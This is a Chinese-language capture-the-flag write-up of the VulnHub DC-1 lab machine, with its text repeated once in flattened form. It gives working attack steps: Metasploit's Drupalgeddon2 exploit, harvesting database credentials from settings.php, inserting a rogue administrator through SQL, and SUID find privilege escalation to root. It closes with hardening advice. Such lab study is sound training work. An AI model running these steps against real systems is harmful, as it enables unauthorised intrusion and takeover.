vulnhub靶机DC-1渗透分析
字数 1232 2025-08-15 21:31:25

DC-1 靶机渗透测试详细教程

1. 信息收集阶段

1.1 网络扫描

首先使用 arp-scan 工具扫描本地网络,发现目标靶机IP地址:

sudo arp-scan -l

发现靶机IP为 192.168.100.146

1.2 端口扫描

使用 nmap 进行全端口扫描:

nmap 192.168.100.146 -p 1-65535

扫描结果显示开放了22端口(SSH服务)和80端口(HTTP服务)

1.3 Web目录扫描

尝试使用 dirb 进行目录扫描:

dirb http://192.168.100.146 /usr/share/dirb/wordlists/common.txt

但扫描结果没有发现特别有用的信息。

1.4 CMS识别

直接访问网站主页,发现网站使用的是Drupal内容管理系统(CMS)。

2. 漏洞利用阶段

2.1 查找Drupal漏洞

由于已知目标使用Drupal CMS,可以在Metasploit中搜索相关漏洞:

  1. 启动Metasploit框架:msfconsole
  2. 搜索Drupal相关漏洞:search drupal

选择一个check值为"yes"、rank值较高且年代较近的漏洞利用模块。

2.2 配置并执行漏洞利用

选择适当的Drupal漏洞利用模块后,进行配置:

use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.100.146
exploit

成功利用后获得一个基本的shell会话。

2.3 提升shell交互性

为了获得更好的交互体验,设置Python伪终端:

python -c 'import pty;pty.spawn("/bin/bash")'

3. 权限提升与Flag获取

3.1 寻找第一个Flag

在系统中搜索flag文件:

find / -name "*flag*" -type f 2>/dev/null

找到flag1文件,查看内容:

cat /path/to/flag1

flag1内容提示:"每一个好的CMS都需要一个配置文件,包括你。"

3.2 查找配置文件

根据提示查找Drupal的配置文件:

find / -name "settings.php" 2>/dev/null

找到Drupal的配置文件,查看内容:

cat /path/to/settings.php

在配置文件中发现flag2,同时找到数据库的用户名和密码。

3.3 数据库访问

使用找到的数据库凭据登录MySQL:

mysql -u username -p

输入密码后进入MySQL交互界面。

查看Drupal数据库中的用户表:

use drupaldb;
select * from users;

发现用户密码是加密的,无法直接使用。

3.4 添加管理员用户

利用Drupal的漏洞添加一个新的管理员用户:

  1. 在Metasploit中查找Drupal用户添加漏洞
  2. 使用适当的模块添加新用户

或者直接在数据库中插入新用户:

INSERT INTO users (uid, name, pass, mail, status) VALUES (999, 'hacker', '$S$DrYKnRq3LZPjSRl0Xj24q9rCHudQnNqovzw3UO4VnN9L2SNvUQd0', 'hacker@example.com', 1);
INSERT INTO users_roles (uid, rid) VALUES (999, 3);

3.5 获取flag3

使用新添加的管理员账户登录Drupal后台,在内容中找到flag3。

flag3提示:"需要特殊的PERM才能找到密码,但你需要exec去找到shadow..."

3.6 提权操作

查找具有特殊权限的文件:

find / -perm -4000 2>/dev/null

使用find命令进行提权:

find ./ aaa -exec '/bin/sh' \;

成功获得root权限后,查找最终flag:

ls /root
cat /root/thefinalflag

4. 总结

本次渗透测试的关键步骤:

  1. 通过信息收集发现目标运行Drupal CMS
  2. 利用Drupal已知漏洞获取初始shell访问
  3. 通过配置文件泄露获取数据库凭据
  4. 数据库操作添加管理员账户
  5. 利用setuid程序和find命令进行权限提升
  6. 最终获取root权限和所有flag

5. 安全建议

  1. 及时更新CMS系统和插件
  2. 配置文件不应包含敏感信息或应设置适当权限
  3. 限制数据库用户的权限
  4. 定期审计系统上的setuid程序
  5. 实施最小权限原则
DC-1 靶机渗透测试详细教程 1. 信息收集阶段 1.1 网络扫描 首先使用 arp-scan 工具扫描本地网络,发现目标靶机IP地址: 发现靶机IP为 192.168.100.146 1.2 端口扫描 使用 nmap 进行全端口扫描: 扫描结果显示开放了22端口(SSH服务)和80端口(HTTP服务) 1.3 Web目录扫描 尝试使用 dirb 进行目录扫描: 但扫描结果没有发现特别有用的信息。 1.4 CMS识别 直接访问网站主页,发现网站使用的是Drupal内容管理系统(CMS)。 2. 漏洞利用阶段 2.1 查找Drupal漏洞 由于已知目标使用Drupal CMS,可以在Metasploit中搜索相关漏洞: 启动Metasploit框架: msfconsole 搜索Drupal相关漏洞: search drupal 选择一个check值为"yes"、rank值较高且年代较近的漏洞利用模块。 2.2 配置并执行漏洞利用 选择适当的Drupal漏洞利用模块后,进行配置: 成功利用后获得一个基本的shell会话。 2.3 提升shell交互性 为了获得更好的交互体验,设置Python伪终端: 3. 权限提升与Flag获取 3.1 寻找第一个Flag 在系统中搜索flag文件: 找到flag1文件,查看内容: flag1内容提示:"每一个好的CMS都需要一个配置文件,包括你。" 3.2 查找配置文件 根据提示查找Drupal的配置文件: 找到Drupal的配置文件,查看内容: 在配置文件中发现flag2,同时找到数据库的用户名和密码。 3.3 数据库访问 使用找到的数据库凭据登录MySQL: 输入密码后进入MySQL交互界面。 查看Drupal数据库中的用户表: 发现用户密码是加密的,无法直接使用。 3.4 添加管理员用户 利用Drupal的漏洞添加一个新的管理员用户: 在Metasploit中查找Drupal用户添加漏洞 使用适当的模块添加新用户 或者直接在数据库中插入新用户: 3.5 获取flag3 使用新添加的管理员账户登录Drupal后台,在内容中找到flag3。 flag3提示:"需要特殊的PERM才能找到密码,但你需要exec去找到shadow..." 3.6 提权操作 查找具有特殊权限的文件: 使用find命令进行提权: 成功获得root权限后,查找最终flag: 4. 总结 本次渗透测试的关键步骤: 通过信息收集发现目标运行Drupal CMS 利用Drupal已知漏洞获取初始shell访问 通过配置文件泄露获取数据库凭据 数据库操作添加管理员账户 利用setuid程序和find命令进行权限提升 最终获取root权限和所有flag 5. 安全建议 及时更新CMS系统和插件 配置文件不应包含敏感信息或应设置适当权限 限制数据库用户的权限 定期审计系统上的setuid程序 实施最小权限原则